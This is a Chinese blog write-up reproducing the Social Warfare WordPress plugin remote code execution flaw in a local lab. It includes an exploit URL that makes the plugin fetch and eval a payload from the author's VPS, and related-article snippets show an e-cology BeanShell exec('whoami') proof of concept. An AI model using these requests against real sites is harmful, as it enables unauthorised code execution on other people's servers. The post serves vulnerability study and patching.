WordPress Social Warfare组件 远程代码漏洞执行详细复现

0x00前言

今天在知道创宇上发现3月26日提交WordPress XSS和远程代码执行漏洞,于是试着复现了下远程代码执行漏洞

该漏洞源于Social Warfare组件,并且版本<=3.5.2、且要是管理员登录状态,因此该漏洞是个后台代码执行

漏洞报告https://www.webarxsecurity.com/social-warfare-vulnerability/

利用需一台能够被访问的vps

0x01环境搭建

我是采用的windows下的phpstudy,php版本为5.4

WordPress版本是最新版本https://wordpress.org/download/

Social Warfare版本是3.5.1(官方已经更新到了3.5.4)https://downloads.wordpress.org/plugin/social-warfare.3.5.1.zip

下载下来分别解压后,把social-warfare放在\wordpress\wp-content\plugins\目录下

安装好WordPress后,把social-warfare组件起用(点Activate后,会变成Settings,并在左侧目录下出现Social Warfare子目录)

0x02 漏洞分析

浏览报告的时候,明确是\wordpress\wp-content\plugins\social-warfare\lib\utilities\SWP_Database_Migration.php中的debug_parameters()调用了eval(),并未对options进行明显过滤

首先下在eval处个断点

找到$array传入前$options的地方下个断点

往回找到调用了debug_parameters()的地方\wordpress\wp-content\plugins\social-warfare\lib\utilities\SWP_Database_Migration.php中的init()方法,该方法又被__construct()调用

继续寻找调用的SWP_Database_Migration类的\wordpress\wp-content\plugins\social-warfare\lib\utilities\Social_Warfare.php中的Social_Warfare类的instantiate_classes()方法的202行初始化了SWP_Database_Migration()类

instantiate_classes()方法又被Social_Warfare类的初始init()方法调用,并init()被该类的__construct()调用

最后Social_Warfare类被\wordpress\wp-content\plugins\social-warfare\social-warfare.php调用

在后台添加过Social Warfare组件后,wordpress在访问时,大部分都会包含这个social-warfare.php文件,因此逐步跟进下寻找到触发漏洞利用点eval()参数

在\wordpress\wp-content\plugins\social-warfare\lib\utilities\SWP_Database_Migration.php处有个判定

跟进一下SWP_Utility:debug这个方法,要求GET参数中要有swp_debug参数,并值要和$key相同,而$key也就是传入的‘load_options‘

之后会判断是否是管理员,如果不是就会退出,所以需要在后台管理员状态登录,我测试了下在首页不能过这个点

这里我是在/wp-admin/目录下进行的debug调试操作,进行运行,到了漏洞参数传入的地方,因为file_get_contents是能够远程加载文件的,并且文件路径可控,因为把payload以txt文件格式传到自己的vps上即可

剪切远程加载的代码逻辑如下,<pre>xxxxx</pre>会去掉<pre>和</pre>,如果不包含这2个标签会返回false

0x03漏洞复现

在远程的vps上payload如下

<pre>phpinfo()</pre>

最后的请求的url头如下

http://127.0.0.1/wordpress/wp-admin/admin.php?page=social-warfare&swp_debug=load_options&swp_url=http://vpsi/wordpress_social_warfare_payload.txt

本地测试成功返回了phpinfo信息


0x04 修复建议

因为该漏洞利用成功版本在Social Warfare<=3.5.2,所有更新到3.5.3及以上即可避免

ps:文章投稿给freebuf还在待审核.................

原文地址:https://www.cnblogs.com/sijidou/p/10661515.html

时间: 2024-11-05 16:30:02

WordPress Social Warfare组件 远程代码漏洞执行详细复现的相关文章

泛微e-cology OA Beanshell组件远程代码执行漏洞复现CNNVD-201909-1041

靶机 影响版本 泛微e-cology<=9.0 https://github.com/jas502n/e-cology 部署 复现 /weaver/bsh.servlet.BshServlet POC exec("whoami") 这是BeanShell命令的其他一些示例 source(),run()-将bsh脚本读入该解释器,或在新的解释器中运行 frame()-在Frame或JFrame中显示GUI组件. load(),save()-将可序列化的对象加载或保存到文件中. cd

小米手机MIUI远程代码执行漏洞分析

7月我在研究webview漏洞时专门挑小米手机的MIUI测试了下,发现了非常明显的安全漏洞.通过该漏洞可以远程获取本地APP的权限,突破本地漏洞和远程漏洞的界限,使本地app的漏洞远程也能被利用,达到隔山打牛的效果.在漏洞发现的第一时间,我已经将漏洞细节报告给了小米安全响应中心,目前漏洞已经修复. 测试环境:手机型号:MI 3 Android版本:4.2.1 JOP40D MIUI版本:MIUI-JXCCNBE21 内核版本:3.4.35-ga656ab9 一.   小米MIUI原生浏览器存在意

WordPress插件Social Warfare&lt;=3.5.2 无需登录RCE漏洞

该漏洞只存在于Social Warfare插进的3.5.0.3.5.1和3.5.2版本中,其他版本不存在. 2019年3月21日插件作者紧急发布了3.5.3版本以修复高危的RCE漏洞,在<=3.5.2版本中存在一处无需登录即可getshell的RCE漏洞. 漏洞分析 在/wp-content/plugins/social-warfare/lib/utilities/SWP_Database_Migration.php文件中有一处eval()函数,该函数将file_get_contents()读取

Office CVE-2017-8570远程代码执行漏洞复现

实验环境 操作机:Kali Linux IP:172.16.11.2 目标机:windows7 x64 IP:172.16.12.2 实验目的 掌握漏洞的利用方法 实验工具 Metaspliot:它是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报.这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程,团队合作. 实验内容 Office CVE-2017-8570 CVE-2017-8570漏

CVE-2017-7269—IIS 6.0 WebDAV远程代码执行漏洞分析

漏洞描述: 3月27日,在Windows 2003 R2上使用IIS 6.0 爆出了0Day漏洞(CVE-2017-7269),漏洞利用PoC开始流传,但糟糕的是这产品已经停止更新了.网上流传的poc下载链接如下. github地址:https://github.com/edwardz246003/IIS_exploit 结合上面的POC,我们对漏洞的成因及利用过程进行了详细的分析.在分析过程中,对poc的exploit利用技巧感到惊叹,多次使用同一个漏洞函数触发,而同一个漏洞同一段漏洞利用代码

HTTP.SYS远程执行代码漏洞分析

社区:i春秋 时间:2016年8月10日 作者:MAX丶 大家肯定用过bugscan老板裤子里面经常出现这个漏洞提示. [xxx存在http.sys远程漏洞]今天我们来分析分析这漏洞如何存在的, 据称,利用HTTP.sys的安全漏洞,攻击者只需要发送恶意的http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃. 根据公告显示,该漏洞对服务器系统造成了不小的影响,主要影响了包括Windows 7.Windows Server 2008 R2.Windows 8.Windo

关于发布的CVE-2013-2251漏洞,strust远程代码执行漏洞

(*该漏洞影响版本:Struts 2.0.0 – Struts 2.3.15) (*该博客仅仅只是记录我工作学习时遇到的问题,仅供参考!) (*如果,描述中可能存在错误,请多指教!) 在昨天在对我目前负责的那个项目进行日常维护的时候,系统被别人攻克,上传了一个.txt文件,他人可以直接访问这个项目下txt文件,就可以获取到txt文件内的内容. 首先,介绍下我目前维护的项目,使用的是strust2.1+hibernate3.0架构模式,也就是javaweb+SSH框架,不过为了简化,并没有添加sp

Android WebView远程代码执行漏洞简析

0x00 本文参考Android WebView 远程代码执行漏洞简析.代码地址为,https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo.下面我们分析代码. 0x01 首先列出项目工程目录: MainActivity.java的代码如下: public class MainActivity extends Activity { private WebView webView; private Uri mUr

Apache ActiveMQ Fileserver远程代码执行漏洞

扫端口的时候遇到8161端口,输入admin/admin,成功登陆,之前就看到过相关文章,PUT了一句话上去,但是没有什么效果,于是本地搭建了一个环境,记录一下测试过程. 环境搭建: ActiveMQ 5.1.0 下载地址:http://activemq.apache.org/activemq-510-release.html 解压后,双击运行abtivemq.bat运行.(进入bin目录,根据自己的操作系统选择win32或win64,5.1.0只有win32目录) 访问8161端口: 漏洞利用